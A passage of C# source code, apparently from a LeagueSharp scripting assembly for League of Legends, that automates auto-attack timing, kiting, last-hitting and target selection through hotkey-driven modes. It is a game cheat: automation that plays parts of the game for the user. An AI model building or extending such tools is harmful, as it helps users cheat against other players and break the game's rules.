System.Linq; using LeagueSharp; using LeagueSharp.Common; using SharpDX; using Color = System.Drawing.Color; #endregion namespace YasuoPro { /// <summary> /// This class offers everything related to auto-attacks and orbwalking. /// </summary> public static class Orbwalking { /// <summary> /// Delegate AfterAttackEvenH /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> public delegate void AfterAttackEvenH(AttackableUnit unit, AttackableUnit target); /// <summary> /// Delegate BeforeAttackEvenH /// </summary> /// <param name="args">The <see cref="BeforeAttackEventArgs" /> instance containing the event data.</param> public delegate void BeforeAttackEvenH(BeforeAttackEventArgs args); /// <summary> /// Delegate OnAttackEvenH /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> public delegate void OnAttackEvenH(AttackableUnit unit, AttackableUnit target); /// <summary> /// Delegate OnNonKillableMinionH /// </summary> /// <param name="minion">The minion.</param> public delegate void OnNonKillableMinionH(AttackableUnit minion); /// <summary> /// Delegate OnTargetChangeH /// </summary> /// <param name="oldTarget">The old target.</param> /// <param name="newTarget">The new target.</param> public delegate void OnTargetChangeH(AttackableUnit oldTarget, AttackableUnit newTarget); /// <summary> /// The orbwalking mode. /// </summary> public enum OrbwalkingMode { /// <summary> /// The orbwalker will only last hit minions. /// </summary> LastHit, /// <summary> /// The orbwalker will alternate between last hitting and auto attacking champions. /// </summary> Mixed, /// <summary> /// The orbwalker will clear the lane of minions as fast as possible while attempting to get the last hit. /// </summary> LaneClear, /// <summary> /// The orbwalker will only attack the target. /// </summary> Combo, /// <summary> /// The orbwalker will only last hit minions as late as possible. /// </summary> Freeze, /// <summary> /// The orbwalker will only move. /// </summary> CustomMode, /// <summary> /// The orbwalker does nothing. /// </summary> None } /// <summary> /// Spells that reset the attack timer. /// </summary> private static readonly string[] AttackResets = { "dariusnoxiantacticsonh", "fiorae", "garenq", "gravesmove", "hecarimrapidslash", "jaxempowertwo", "jaycehypercharge", "leonashieldofdaybreak", "luciane", "monkeykingdoubleattack", "mordekaisermaceofspades", "nasusq", "nautiluspiercinggaze", "netherblade", "gangplankqwrapper", "powerfist", "renektonpreexecute", "rengarq", "aspectofthecougar", "shyvanadoubleattack", "sivirw", "takedown", "talonnoxiandiplomacy", "trundletrollsmash", "vaynetumble", "vie", "volibearq", "xenzhaocombotarget", "yorickspectral", "reksaiq", "itemtitanichydracleave", "masochism", "illaoiw", "elisespiderw", "fiorae", "meditate", "sejuaninorthernwinds", "asheq" }; /// <summary> /// Spells that are not attacks even if they have the "attack" word in their name. /// </summary> private static readonly string[] NoAttacks = { "volleyattack", "volleyattackwithsound", "jarvanivcataclysmattack", "monkeykingdoubleattack", "shyvanadoubleattack", "shyvanadoubleattackdragon", "zyragraspingplantattack", "zyragraspingplantattack2", "zyragraspingplantattackfire", "zyragraspingplantattack2fire", "viktorpowertransfer", "sivirwattackbounce", "asheqattacknoonhit", "elisespiderlingbasicattack", "heimertyellowbasicattack", "heimertyellowbasicattack2", "heimertbluebasicattack", "annietibbersbasicattack", "annietibbersbasicattack2", "yorickdecayedghoulbasicattack", "yorickravenousghoulbasicattack", "yorickspectralghoulbasicattack", "malzaharvoidlingbasicattack", "malzaharvoidlingbasicattack2", "malzaharvoidlingbasicattack3", "kindredwolfbasicattack" }; /// <summary> /// Spells that are attacks even if they dont have the "attack" word in their name. /// </summary> private static readonly string[] Attacks = { "caitlynheadshotmissile", "frostarrow", "garenslash2", "kennenmegaproc", "masteryidoublestrike", "quinnwenhanced", "renektonexecute", "renektonsuperexecute", "rengarnewpassivebuffdash", "trundleq", "xenzhaothrust", "xenzhaothrust2", "xenzhaothrust3", "viktorqbuff", "lucianpassiveshot" }; /// <summary> /// Champs whose auto attacks can't be cancelled /// </summary> private static readonly string[] NoCancelChamps = { "Kalista" }; /// <summary> /// The last auto attack tick /// </summary> public static int LastAATick; /// <summary> /// <c>true</c> if the orbwalker will attack. /// </summary> public static bool Attack = true; /// <summary> /// <c>true</c> if the orbwalker will skip the next attack. /// </summary> public static bool DisableNextAttack; /// <summary> /// <c>true</c> if the orbwalker will move. /// </summary> public static bool Move = true; /// <summary> /// The tick the most recent attack command was sent. /// </summary> public static int LastAttackCommandT; /// <summary> /// The tick the most recent move command was sent. /// </summary> public static int LastMoveCommandT; /// <summary> /// The last move command position /// </summary> public static Vector3 LastMoveCommandPosition = Vector3.Zero; /// <summary> /// The last target /// </summary> private static AttackableUnit _lastTarget; /// <summary> /// The player /// </summary> private static readonly Obj_AI_Hero Player; /// <summary> /// The delay /// </summary> private static int _delay; /// <summary> /// The minimum distance /// </summary> private static float _minDistance = 400; /// <summary> /// <c>true</c> if the auto attack missile was launched from the player. /// </summary> private static bool _missileLaunched; /// <summary> /// The champion name /// </summary> private static readonly string _championName; /// <summary> /// The random /// </summary> private static readonly Random _random = new Random(DateTime.Now.Millisecond); private static int _autoattackCounter; /// <summary> /// Initializes static members of the <see cref="Orbwalking" /> class. /// </summary> static Orbwalking() { Player = ObjectManager.Player; _championName = Player.ChampionName; Obj_AI_Base.OnProcessSpellCast += OnProcessSpell; Obj_AI_Base.OnDoCast += Obj_AI_Base_OnDoCast; Spellbook.OnStopCast += SpellbookOnStopCast; if (_championName == "Rengar") { Obj_AI_Base.OnPlayAnimation += delegate (Obj_AI_Base sender, GameObjectPlayAnimationEventArgs args) { if (sender.IsMe && args.Animation == "Spell5") { var t = 0; if (_lastTarget != null && _lastTarget.IsValid) { t += (int)Math.Min(ObjectManager.Player.Distance(_lastTarget) / 1.5f, 0.6f); } LastAATick = Utils.GameTimeTickCount - Game.Ping / 2 + t; } }; } } /// <summary> /// This event is fired before the player auto attacks. /// </summary> public static event BeforeAttackEvenH BeforeAttack; /// <summary> /// This event is fired when a unit is about to auto-attack another unit. /// </summary> public static event OnAttackEvenH OnAttack; /// <summary> /// This event is fired after a unit finishes auto-attacking another unit (Only works with player for now). /// </summary> public static event AfterAttackEvenH AfterAttack; /// <summary> /// Gets called on target changes /// </summary> public static event OnTargetChangeH OnTargetChange; /// <summary> /// Occurs when a minion is not killable by an auto attack. /// </summary> public static event OnNonKillableMinionH OnNonKillableMinion; /// <summary> /// Fires the before attack event. /// </summary> /// <param name="target">The target.</param> private static void FireBeforeAttack(AttackableUnit target) { if (BeforeAttack != null) { BeforeAttack(new BeforeAttackEventArgs { Target = target }); } else { DisableNextAttack = false; } } /// <summary> /// Fires the on attack event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> private static void FireOnAttack(AttackableUnit unit, AttackableUnit target) { if (OnAttack != null) { OnAttack(unit, target); } } /// <summary> /// Fires the after attack event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> private static void FireAfterAttack(AttackableUnit unit, AttackableUnit target) { if (AfterAttack != null && target.IsValidTarget()) { AfterAttack(unit, target); } } /// <summary> /// Fires the on target switch event. /// </summary> /// <param name="newTarget">The new target.</param> private static void FireOnTargetSwitch(AttackableUnit newTarget) { if (OnTargetChange != null && (!_lastTarget.IsValidTarget() || _lastTarget != newTarget)) { OnTargetChange(_lastTarget, newTarget); } } /// <summary> /// Fires the on non killable minion event. /// </summary> /// <param name="minion">The minion.</param> private static void FireOnNonKillableMinion(AttackableUnit minion) { if (OnNonKillableMinion != null) { OnNonKillableMinion(minion); } } /// <summary> /// Returns true if the spellname resets the attack timer. /// </summary> /// <param name="name">The name.</param> /// <returns><c>true</c> if the specified name is an auto attack reset; otherwise, <c>false</c>.</returns> public static bool IsAutoAttackReset(string name) { return AttackResets.Contains(name.ToLower()); } /// <summary> /// Returns true if the unit is melee /// </summary> /// <param name="unit">The unit.</param> /// <returns><c>true</c> if the specified unit is melee; otherwise, <c>false</c>.</returns> public static bool IsMelee(this Obj_AI_Base unit) { return unit.CombatType == GameObjectCombatType.Melee; } /// <summary> /// Returns true if the spellname is an auto-attack. /// </summary> /// <param name="name">The name.</param> /// <returns><c>true</c> if the name is an auto attack; otherwise, <c>false</c>.</returns> public static bool IsAutoAttack(string name) { return (name.ToLower().Contains("attack") && !NoAttacks.Contains(name.ToLower())) || Attacks.Contains(name.ToLower()); } /// <summary> /// Returns the auto-attack range of local player with respect to the target. /// </summary> /// <param name="target">The target.</param> /// <returns>System.Single.</returns> public static float GetRealAutoAttackRange(AttackableUnit target) { var result = Player.AttackRange + Player.BoundingRadius; if (target.IsValidTarget()) { var aiBase = target as Obj_AI_Base; if (aiBase != null && Player.ChampionName == "Caitlyn") { if (aiBase.HasBuff("caitlynyordletrapinternal")) { result += 650; } } return result + target.BoundingRadius; } return result; } /// <summary> /// Returns the auto-attack range of the target. /// </summary> /// <param name="target">The target.</param> /// <returns>System.Single.</returns> public static float GetAttackRange(Obj_AI_Hero target) { var result = target.AttackRange + target.BoundingRadius; return result; } /// <summary> /// Returns true if the target is in auto-attack range. /// </summary> /// <param name="target">The target.</param> /// <returns><c>true</c> if XXXX, <c>false</c> otherwise.</returns> public static bool InAutoAttackRange(AttackableUnit target) { if (!target.IsValidTarget()) { return false; } var myRange = GetRealAutoAttackRange(target); return Vector2.DistanceSquared( target is Obj_AI_Base ? ((Obj_AI_Base)target).ServerPosition.To2D() : target.Position.To2D(), Player.ServerPosition.To2D()) <= myRange * myRange; } /// <summary> /// Returns player auto-attack missile speed. /// </summary> /// <returns>System.Single.</returns> public static float GetMyProjectileSpeed() { return IsMelee(Player) || _championName == "Azir" || _championName == "Velkoz" || _championName == "Viktor" && Player.HasBuff("ViktorPowerTransferReturn") ? float.MaxValue : Player.BasicAttack.MissileSpeed; } /// <summary> /// Returns if the player's auto-attack is ready. /// </summary> /// <returns><c>true</c> if this instance can attack; otherwise, <c>false</c>.</returns> public static bool CanAttack() { if (Player.ChampionName == "Graves") { var attackDelay = 1.0740296828d * 1000 * Player.AttackDelay - 716.2381256175d; if (Utils.GameTimeTickCount + Game.Ping / 2 + 25 >= LastAATick + attackDelay && Player.HasBuff("GravesBasicAttackAmmo1")) { return true; } return false; } if (Player.ChampionName == "Jhin") { if (Player.HasBuff("JhinPassiveReload")) { return false; } } if (Player.IsCastingInterruptableSpell()) { return false; } return Utils.GameTimeTickCount + Game.Ping / 2 + 25 >= LastAATick + Player.AttackDelay * 1000; } /// <summary> /// Returns true if moving won't cancel the auto-attack. /// </summary> /// <param name="extraWindup">The extra windup.</param> /// <returns><c>true</c> if this instance can move the specified extra windup; otherwise, <c>false</c>.</returns> public static bool CanMove(float extraWindup, bool disableMissileCheck = false) { if (_missileLaunched && Orbwalker.MissileCheck && !disableMissileCheck) { return true; } var localExtraWindup = 0; if (_championName == "Rengar" && (Player.HasBuff("rengarqbase") || Player.HasBuff("rengarqemp"))) { localExtraWindup = 200; } return NoCancelChamps.Contains(_championName) || (Utils.GameTimeTickCount + Game.Ping / 2 >= LastAATick + Player.AttackCastDelay * 1000 + extraWindup + localExtraWindup); } /// <summary> /// Sets the movement delay. /// </summary> /// <param name="delay">The delay.</param> public static void SetMovementDelay(int delay) { _delay = delay; } /// <summary> /// Sets the minimum orbwalk distance. /// </summary> /// <param name="d">The d.</param> public static void SetMinimumOrbwalkDistance(float d) { _minDistance = d; } /// <summary> /// Gets the last move time. /// </summary> /// <returns>System.Single.</returns> public static float GetLastMoveTime() { return LastMoveCommandT; } /// <summary> /// Gets the last move position. /// </summary> /// <returns>Vector3.</returns> public static Vector3 GetLastMovePosition() { return LastMoveCommandPosition; } /// <summary> /// Moves to the position. /// </summary> /// <param name="position">The position.</param> /// <param name="holdAreaRadius">The hold area radius.</param> /// <param name="overrideTimer">if set to <c>true</c> [override timer].</param> /// <param name="useFixedDistance">if set to <c>true</c> [use fixed distance].</param> /// <param name="randomizeMinDistance">if set to <c>true</c> [randomize minimum distance].</param> public static void MoveTo(Vector3 position, float holdAreaRadius = 0, bool overrideTimer = false, bool useFixedDistance = true, bool randomizeMinDistance = true) { var playerPosition = Player.ServerPosition; if (playerPosition.Distance(position, true) < (holdAreaRadius * holdAreaRadius)) { /* if (Player.Path.Length > 0) { Player.IssueOrder(GameObjectOrder.Stop, playerPosition); LastMoveCommandPosition = playerPosition; LastMoveCommandT = Utils.GameTimeTickCount - 70; } */ return; } var point = position; if (Player.Distance(point, true) < 150 * 150) { point = playerPosition.Extend( position, randomizeMinDistance ? (_random.NextFloat(0.6f, 1) + 0.2f) * _minDistance : _minDistance); } var angle = 0f; var currentPath = Player.GetWaypoints(); if (currentPath.Count > 1 && currentPath.PathLength() > 100) { var movePath = Player.GetPath(point); if (movePath.Length > 1) { var v1 = currentPath[1] - currentPath[0]; var v2 = movePath[1] - movePath[0]; angle = v1.AngleBetween(v2.To2D()); var distance = movePath.Last().To2D().Distance(currentPath.Last(), true); if ((angle < 10 && distance < 500 * 500) || distance < 50 * 50) { return; } } } if (Utils.GameTimeTickCount - LastMoveCommandT < 70 + Math.Min(60, Game.Ping) && !overrideTimer && angle < 60) { return; } if (angle >= 60 && Utils.GameTimeTickCount - LastMoveCommandT < 60) { return; } Player.IssueOrder(GameObjectOrder.MoveTo, point); LastMoveCommandPosition = point; LastMoveCommandT = Utils.GameTimeTickCount; } /// <summary> /// Orbwalks a target while moving to Position. /// </summary> /// <param name="target">The target.</param> /// <param name="position">The position.</param> /// <param name="extraWindup">The extra windup.</param> /// <param name="holdAreaRadius">The hold area radius.</param> /// <param name="useFixedDistance">if set to <c>true</c> [use fixed distance].</param> /// <param name="randomizeMinDistance">if set to <c>true</c> [randomize minimum distance].</param> public static void Orbwalk(AttackableUnit target, Vector3 position, float extraWindup = 90, float holdAreaRadius = 0, bool useFixedDistance = true, bool randomizeMinDistance = true) { if (Utils.GameTimeTickCount - LastAttackCommandT < 70 + Math.Min(60, Game.Ping)) { return; } try { if (target.IsValidTarget() && CanAttack() && Attack) { DisableNextAttack = false; FireBeforeAttack(target); if (!DisableNextAttack) { if (!NoCancelChamps.Contains(_championName)) { _missileLaunched = false; } if (Player.IssueOrder(GameObjectOrder.AttackUnit, target)) { LastAttackCommandT = Utils.GameTimeTickCount; _lastTarget = target; } return; } } if (CanMove(extraWindup) && Move) { if (Orbwalker.LimitAttackSpeed && (Player.AttackDelay < 1 / 2.6f) && _autoattackCounter % 3 != 0 && !CanMove(500, true)) { return; } MoveTo(position, Math.Max(holdAreaRadius, 30), false, useFixedDistance, randomizeMinDistance); } } catch (Exception e) { Console.WriteLine(e.ToString()); } } /// <summary> /// Resets the Auto-Attack timer. /// </summary> public static void ResetAutoAttackTimer() { LastAATick = 0; } /// <summary> /// Fired when the spellbook stops casting a spell. /// </summary> /// <param name="spellbook">The spellbook.</param> /// <param name="args">The <see cref="SpellbookStopCastEventArgs" /> instance containing the event data.</param> private static void SpellbookOnStopCast(Spellbook spellbook, SpellbookStopCastEventArgs args) { if (spellbook.Owner.IsValid && spellbook.Owner.IsMe && args.DestroyMissile && args.StopAnimation) { ResetAutoAttackTimer(); } } /// <summary> /// Fired when an auto attack is fired. /// </summary> /// <param name="sender">The sender.</param> /// <param name="args">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void Obj_AI_Base_OnDoCast(Obj_AI_Base sender, GameObjectProcessSpellCastEventArgs args) { if (sender.IsMe) { var ping = Game.Ping; if (ping <= 30) //First world problems kappa { Utility.DelayAction.Add(30 - ping, () => Obj_AI_Base_OnDoCast_Delayed(sender, args)); return; } Obj_AI_Base_OnDoCast_Delayed(sender, args); } } /// <summary> /// Fired 30ms after an auto attack is launched. /// </summary> /// <param name="sender">The sender.</param> /// <param name="args">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void Obj_AI_Base_OnDoCast_Delayed(Obj_AI_Base sender, GameObjectProcessSpellCastEventArgs args) { if (IsAutoAttackReset(args.SData.Name)) { ResetAutoAttackTimer(); } if (IsAutoAttack(args.SData.Name)) { FireAfterAttack(sender, args.Target as AttackableUnit); _missileLaunched = true; } } /// <summary> /// Handles the <see cref="E:ProcessSpell" /> event. /// </summary> /// <param name="unit">The unit.</param> /// <param name="Spell">The <see cref="GameObjectProcessSpellCastEventArgs" /> instance containing the event data.</param> private static void OnProcessSpell(Obj_AI_Base unit, GameObjectProcessSpellCastEventArgs Spell) { try { var spellName = Spell.SData.Name; if (unit.IsMe && IsAutoAttackReset(spellName) && Spell.SData.SpellCastTime == 0) { ResetAutoAttackTimer(); } if (!IsAutoAttack(spellName)) { return; } if (unit.IsMe && (Spell.Target is Obj_AI_Base || Spell.Target is Obj_BarracksDampener || Spell.Target is Obj_HQ)) { LastAATick = Utils.GameTimeTickCount - Game.Ping / 2; _missileLaunched = false; LastMoveCommandT = 0; _autoattackCounter++; if (Spell.Target is Obj_AI_Base) { var target = (Obj_AI_Base)Spell.Target; if (target.IsValid) { FireOnTargetSwitch(target); _lastTarget = target; } } } FireOnAttack(unit, _lastTarget); } catch (Exception e) { Console.WriteLine(e); } } /// <summary> /// The before attack event arguments. /// </summary> public class BeforeAttackEventArgs : EventArgs { /// <summary> /// <c>true</c> if the orbwalker should continue with the attack. /// </summary> private bool _process = true; /// <summary> /// The target /// </summary> public AttackableUnit Target; /// <summary> /// The unit /// </summary> public Obj_AI_Base Unit = ObjectManager.Player; /// <summary> /// Gets or sets a value indicating whether this <see cref="BeforeAttackEventArgs" /> should continue with the attack. /// </summary> /// <value><c>true</c> if the orbwalker should continue with the attack; otherwise, <c>false</c>.</value> public bool Process { get { return _process; } set { DisableNextAttack = !value; _process = value; } } } /// <summary> /// This class allows you to add an instance of "Orbwalker" to your assembly in order to control the orbwalking in an /// easy way. /// </summary> public class Orbwalker : IDisposable { /// <summary> /// The lane clear wait time modifier. /// </summary> private const float LaneClearWaitTimeMod = 2f; /// <summary> /// The configuration /// </summary> private static Menu _config; /// <summary> /// The instances of the orbwalker. /// </summary> public static List<Orbwalker> Instances = new List<Orbwalker>(); /// <summary> /// The player /// </summary> private readonly Obj_AI_Hero Player; /// <summary> /// The forced target /// </summary> private Obj_AI_Base _forcedTarget; /// <summary> /// The orbalker mode /// </summary> private OrbwalkingMode _mode = OrbwalkingMode.None; /// <summary> /// The orbwalking point /// </summary> private Vector3 _orbwalkingPoint; /// <summary> /// The previous minion the orbwalker was targeting. /// </summary> private Obj_AI_Minion _prevMinion; /// <summary> /// The name of the CustomMode if it is set. /// </summary> private string CustomModeName; /// <summary> /// Initializes a new instance of the <see cref="Orbwalker" /> class. /// </summary> /// <param name="attachToMenu">The menu the orbwalker should attach to.</param> public Orbwalker(Menu attachToMenu) { _config = attachToMenu; /* Drawings submenu */ var drawings = new Menu("Drawings", "drawings"); drawings.AddItem( new MenuItem("AACircle", "AACircle").SetShared() .SetValue(new Circle(true, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem( new MenuItem("AACircle2", "Enemy AA circle").SetShared() .SetValue(new Circle(false, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem( new MenuItem("HoldZone", "HoldZone").SetShared() .SetValue(new Circle(false, Color.FromArgb(155, 255, 255, 0)))); drawings.AddItem(new MenuItem("AALineWidth", "Line Width")).SetShared().SetValue(new Slider(2, 1, 6)); drawings.AddItem(new MenuItem("LastHitHelper", "Last Hit Helper").SetShared().SetValue(false)); _config.AddSubMenu(drawings); /* Misc options */ var misc = new Menu("Misc", "Misc"); misc.AddItem( new MenuItem("HoldPosRadius", "Hold Position Radius").SetShared().SetValue(new Slider(50, 50, 250))); misc.AddItem(new MenuItem("PriorizeFarm", "Priorize farm over harass").SetShared().SetValue(true)); misc.AddItem(new MenuItem("AttackWards", "Auto attack wards").SetShared().SetValue(false)); misc.AddItem(new MenuItem("AttackPetsnTraps", "Auto attack pets & traps").SetShared().SetValue(true)); misc.AddItem(new MenuItem("AttackGPBarrel", "Auto attack gangplank barrel").SetShared().SetValue(new StringList(new[] { "Combo and Farming", "Farming", "No" }, 1))); misc.AddItem(new MenuItem("Smallminionsprio", "Jungle clear small first").SetShared().SetValue(false)); misc.AddItem( new MenuItem("LimitAttackSpeed", "Don't kite if Attack Speed > 2.5").SetShared().SetValue(false)); misc.AddItem( new MenuItem("FocusMinionsOverTurrets", "Focus minions over objectives").SetShared() .SetValue(new KeyBind('M', KeyBindType.Toggle))); _config.AddSubMenu(misc); /* Missile check */ _config.AddItem(new MenuItem("MissileCheck", "Use Missile Check").SetShared().SetValue(true)); /* Delay sliders */ _config.AddItem( new MenuItem("ExtraWindup", "Extra windup time").SetShared().SetValue(new Slider(80, 0, 200))); _config.AddItem(new MenuItem("FarmDelay", "Farm delay").SetShared().SetValue(new Slider(0, 0, 200))); /*Load the menu*/ _config.AddItem( new MenuItem("LastHit", "Last hit").SetShared().SetValue(new KeyBind('X', KeyBindType.Press))); _config.AddItem(new MenuItem("Farm", "Mixed").SetShared().SetValue(new KeyBind('C', KeyBindType.Press))); _config.AddItem( new MenuItem("Freeze", "Freeze").SetShared().SetValue(new KeyBind('N', KeyBindType.Press))); _config.AddItem( new MenuItem("LaneClear", "LaneClear").SetShared().SetValue(new KeyBind('V', KeyBindType.Press))); _config.AddItem( new MenuItem("Orbwalk", "Combo").SetShared().SetValue(new KeyBind(32, KeyBindType.Press))); _config.AddItem( new MenuItem("StillCombo", "Combo without moving").SetShared() .SetValue(new KeyBind('N', KeyBindType.Press))); _config.Item("StillCombo").ValueChanged += (sender, args) => { Move = !args.GetNewValue<KeyBind>().Active; }; this.Player = ObjectManager.Player; Game.OnUpdate += this.GameOnOnGameUpdate; Drawing.OnDraw += this.DrawingOnOnDraw; Instances.Add(this); } /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { Menu.Remove(_config); Game.OnUpdate -= this.GameOnOnGameUpdate; Drawing.OnDraw -= this.DrawingOnOnDraw; Instances.Remove(this); } /// <summary> /// Gets the farm delay. /// </summary> /// <value>The farm delay.</value> private int FarmDelay { get { return _config.Item("FarmDelay").GetValue<Slider>().Value; } } /// <summary> /// Gets a value indicating whether the orbwalker is orbwalking by checking the missiles. /// </summary> /// <value><c>true</c> if the orbwalker is orbwalking by checking the missiles; otherwise, <c>false</c>.</value> public static bool MissileCheck { get { return _config.Item("MissileCheck").GetValue<bool>(); } } public static bool LimitAttackSpeed { get { return _config.Item("LimitAttackSpeed").GetValue<bool>(); } } /// <summary> /// Gets or sets the active mode. /// </summary> /// <value>The active mode.</value> public OrbwalkingMode ActiveMode { get { if (_mode != OrbwalkingMode.None) { return _mode; } if (_config.Item("Orbwalk").GetValue<KeyBind>().Active) { return OrbwalkingMode.Combo; } if (_config.Item("StillCombo").GetValue<KeyBind>().Active) { return OrbwalkingMode.Combo; } if (_config.Item("LaneClear").GetValue<KeyBind>().Active) { return OrbwalkingMode.LaneClear; } if (_config.Item("Farm").GetValue<KeyBind>().Active) { return OrbwalkingMode.Mixed; } if (_config.Item("Freeze").GetValue<KeyBind>().Active) { return OrbwalkingMode.Freeze; } if (_config.Item("LastHit").GetValue<KeyBind>().Active) { return OrbwalkingMode.LastHit; } if (_config.Item(CustomModeName) != null && _config.Item(CustomModeName).GetValue<KeyBind>().Active) { return OrbwalkingMode.CustomMode; } return OrbwalkingMode.None; } set { _mode = value; } } /// <summary> /// Determines if a target is in auto attack range. /// </summary> /// <param name="target">The target.</param> /// <returns><c>true</c> if a target is in auto attack range, <c>false</c> otherwise.</returns> public virtual bool InAutoAttackRange(AttackableUnit target) { return Orbwalking.InAutoAttackRange(target); } /// <summary> /// Registers the Custom Mode of the Orbwalker. Useful for adding a flee mode and such. /// </summary> /// <param name="name">The name of the mode Ex. "Myassembly.FleeMode" </param> /// <param name="displayname">The name of the mode in the menu. Ex. Flee</param> /// <param name="key">The default key for this mode.</param> public virtual void RegisterCustomMode(string name, string displayname, uint key) { CustomModeName = name; if (_config.Item(name) == null) { _config.AddItem( new MenuItem(name, displayname).SetShared().SetValue(new KeyBind(key, KeyBindType.Press))); } } /// <summary> /// Enables or disables the auto-attacks. /// </summary> /// <param name="b">if set to <c>true</c> the orbwalker will attack units.</param> public void SetAttack(bool b) { Attack = b; } /// <summary> /// Enables or disables the movement. /// </summary> /// <param name="b">if set to <c>true</c> the orbwalker will move.</param> public void SetMovement(bool b) { Move = b; } /// <summary> /// Forces the orbwalker to attack the set target if valid and in range. /// </summary> /// <param name="target">The target.</param> public void ForceTarget(Obj_AI_Base target) { _forcedTarget = target; } /// <summary> /// Forces the orbwalker to move to that point while orbwalking (Game.CursorPos by default). /// </summary> /// <param name="point">The point.</param> public void SetOrbwalkingPoint(Vector3 point) { _orbwalkingPoint = point; } /// <summary> /// Determines if the orbwalker should wait before attacking a minion. /// </summary> /// <returns><c>true</c> if the orbwalker should wait before attacking a minion, <c>false</c> otherwise.</returns> public bool ShouldWait() { return ObjectManager.Get<Obj_AI_Minion>() .Any( minion => minion.IsValidTarget() && minion.Team != GameObjectTeam.Neutral && InAutoAttackRange(minion) && MinionManager.IsMinion(minion, false) && HealthPrediction.LaneClearHealthPrediction( minion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay) <= Player.GetAutoAttackDamage(minion)); } private bool ShouldWaitUnderTurret(Obj_AI_Minion noneKillableMinion) { return ObjectManager.Get<Obj_AI_Minion>() .Any( minion => (noneKillableMinion != null ? noneKillableMinion.NetworkId != minion.NetworkId : true) && minion.IsValidTarget() && minion.Team != GameObjectTeam.Neutral && InAutoAttackRange(minion) && MinionManager.IsMinion(minion, false) && HealthPrediction.LaneClearHealthPrediction( minion, (int) (Player.AttackDelay * 1000 + (Player.IsMelee ? Player.AttackCastDelay * 1000 : Player.AttackCastDelay * 1000 + 1000 * (Player.AttackRange + 2 * Player.BoundingRadius) / Player.BasicAttack.MissileSpeed)), FarmDelay) <= Player.GetAutoAttackDamage(minion)); } /// <summary> /// Gets the target. /// </summary> /// <returns>AttackableUnit.</returns> public virtual AttackableUnit GetTarget() { AttackableUnit result = null; var mode = ActiveMode; if ((mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LaneClear) && !_config.Item("PriorizeFarm").GetValue<bool>()) { var target = TargetSelector.GetTarget(-1, TargetSelector.DamageType.Physical); if (target != null && InAutoAttackRange(target)) { return target; } } //GankPlank barrels var attackGankPlankBarrels = _config.Item("AttackGPBarrel").GetValue<StringList>().SelectedIndex; if (attackGankPlankBarrels != 2 && (attackGankPlankBarrels == 0 || (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze))) { var enemyGangPlank = HeroManager.Enemies.FirstOrDefault(e => e.ChampionName.Equals("gangplank", StringComparison.InvariantCultureIgnoreCase)); if (enemyGangPlank != null) { var barrels = ObjectManager.Get<Obj_AI_Minion>() .Where(minion => minion.Team == GameObjectTeam.Neutral && minion.CharData.BaseSkinName == "gangplankbarrel" && minion.IsHPBarRendered && minion.IsValidTarget() && InAutoAttackRange(minion)); foreach (var barrel in barrels) { if (barrel.Health <= 1f) { return barrel; } var t = (int)(Player.AttackCastDelay * 1000) + Game.Ping / 2 + 1000 * (int)Math.Max(0, Player.Distance(barrel) - Player.BoundingRadius) / (int)GetMyProjectileSpeed(); var barrelBuff = barrel.Buffs.FirstOrDefault( b => b.Name.Equals( "gangplankebarrelactive", StringComparison.InvariantCultureIgnoreCase)); if (barrelBuff != null && barrel.Health <= 2f) { var healthDecayRate = enemyGangPlank.Level >= 13 ? 0.5f : (enemyGangPlank.Level >= 7 ? 1f : 2f); var nextHealthDecayTime = Game.Time < barrelBuff.StartTime + healthDecayRate ? barrelBuff.StartTime + healthDecayRate : barrelBuff.StartTime + healthDecayRate * 2; if (nextHealthDecayTime <= Game.Time + t / 1000f) { return barrel; } } } if (barrels.Any()) { return null; } } } /*Killable Minion*/ if (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze) { var MinionList = ObjectManager.Get<Obj_AI_Minion>() .Where(minion => minion.IsValidTarget() && InAutoAttackRange(minion)) .OrderByDescending(minion => minion.CharData.BaseSkinName.Contains("Siege")) .ThenBy(minion => minion.CharData.BaseSkinName.Contains("Super")) .ThenBy(minion => minion.Health) .ThenByDescending(minion => minion.MaxHealth); foreach (var minion in MinionList) { var t = (int)(Player.AttackCastDelay * 1000) - 100 + Game.Ping / 2 + 1000 * (int)Math.Max(0, Player.Distance(minion) - Player.BoundingRadius) / (int)GetMyProjectileSpeed(); if (mode == OrbwalkingMode.Freeze) { t += 200 + Game.Ping / 2; } var predHealth = HealthPrediction.GetHealthPrediction(minion, t, FarmDelay); if (minion.Team != GameObjectTeam.Neutral && ShouldAttackMinion(minion)) { var damage = Player.GetAutoAttackDamage(minion, true); var killable = predHealth <= damage; if (mode == OrbwalkingMode.Freeze) { if (minion.Health < 50 || predHealth <= 50) { return minion; } } else { if (predHealth <= 0) { FireOnNonKillableMinion(minion); } if (killable) { return minion; } } } } } //Forced target if (_forcedTarget.IsValidTarget() && InAutoAttackRange(_forcedTarget)) { return _forcedTarget; } /* turrets / inhibitors / nexus */ if (mode == OrbwalkingMode.LaneClear && (!_config.Item("FocusMinionsOverTurrets").GetValue<KeyBind>().Active || !MinionManager.GetMinions( ObjectManager.Player.Position, GetRealAutoAttackRange(ObjectManager.Player)).Any())) { /* turrets */ foreach (var turret in ObjectManager.Get<Obj_AI_Turret>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return turret; } /* inhibitor */ foreach (var turret in ObjectManager.Get<Obj_BarracksDampener>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return turret; } /* nexus */ foreach (var nexus in ObjectManager.Get<Obj_HQ>().Where(t => t.IsValidTarget() && InAutoAttackRange(t))) { return nexus; } } /*Champions*/ if (mode != OrbwalkingMode.LastHit) { if (mode != OrbwalkingMode.LaneClear || !ShouldWait()) { 